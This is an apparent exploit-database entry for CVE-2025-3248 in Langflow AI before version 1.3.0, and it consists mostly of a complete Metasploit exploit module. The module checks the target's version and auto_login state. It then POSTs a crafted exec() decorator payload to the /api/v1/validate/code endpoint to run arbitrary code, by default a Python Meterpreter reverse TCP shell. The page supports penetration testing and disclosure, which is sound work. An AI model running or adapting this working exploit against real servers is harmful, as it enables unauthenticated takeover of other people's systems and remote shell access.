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📄 Langflow AI Remote Code Execution

🗓️ 14 Apr 2025 00:00:00Reported by Naveen Sunkavally, Takahiro YokoyamaType 
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Langflow AI versions before 1.3.0 allow remote code execution via the /api/v1/validate/code endpoint.

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##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Langflow AI RCE',
            'Description' => %q{
              Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.
              A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.
            },
            'Author' => [
              'Naveen Sunkavally (Horizon3.ai)', # Vulnerability discovery and PoC
              'Takahiro Yokoyama'                # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-3248'],
              ['URL', 'https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/'],
            ],
            'Platform' => ['python'],
            'Arch' => [ ARCH_PYTHON ],
            'Targets' => [
              [
                'Python payload',
                {
                  'Platform' => 'python',
                  'Arch' => ARCH_PYTHON,
                  'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Payload' => {
              'BadChars' => '"'
            },
            'DisclosureDate' => '2025-04-09',
            'Notes' => {
              'Stability' => [ CRASH_SAFE, ],
              'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
              'Reliability' => [ REPEATABLE_SESSION, ]
            }
          )
        )
        register_options(
          [
            Opt::RPORT(7860),
          ]
        )
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api/v1/version')
        })
        return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
    
        json_version = res&.get_json_document&.fetch('version', nil)
        return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version
    
        version = Rex::Version.new(json_version)
        return Exploit::CheckCode::Unknown('Failed to get version.') unless version
    
        return Exploit::CheckCode::Appears("Version #{version} detected. Which is vulnerable even if authentication is enabled.") if version < Rex::Version.new('1.3.0')
    
        # check if auto_login is enabled or not
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api/v1/auto_login')
        })
        return Exploit::CheckCode::Appears("Version #{version} detected and authentication is disabled. Which is vulnerable.") if res&.code == 200
    
        Exploit::CheckCode.Safe("Version #{version} detected and authentication is enabled. which is not vulnerable.")
      end
    
      def exploit
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v1/validate/code'),
          'headers' => { 'Content-Type' => 'application/json' },
          'data' => {
            'code' => "@exec(\"#{payload.encode}\")\ndef #{rand_text_alpha(6)}():\n    pass"
          }.to_json
        })
        fail_with(Failure::Unknown, 'Unexpected server reply.') unless res
      end
    
    end

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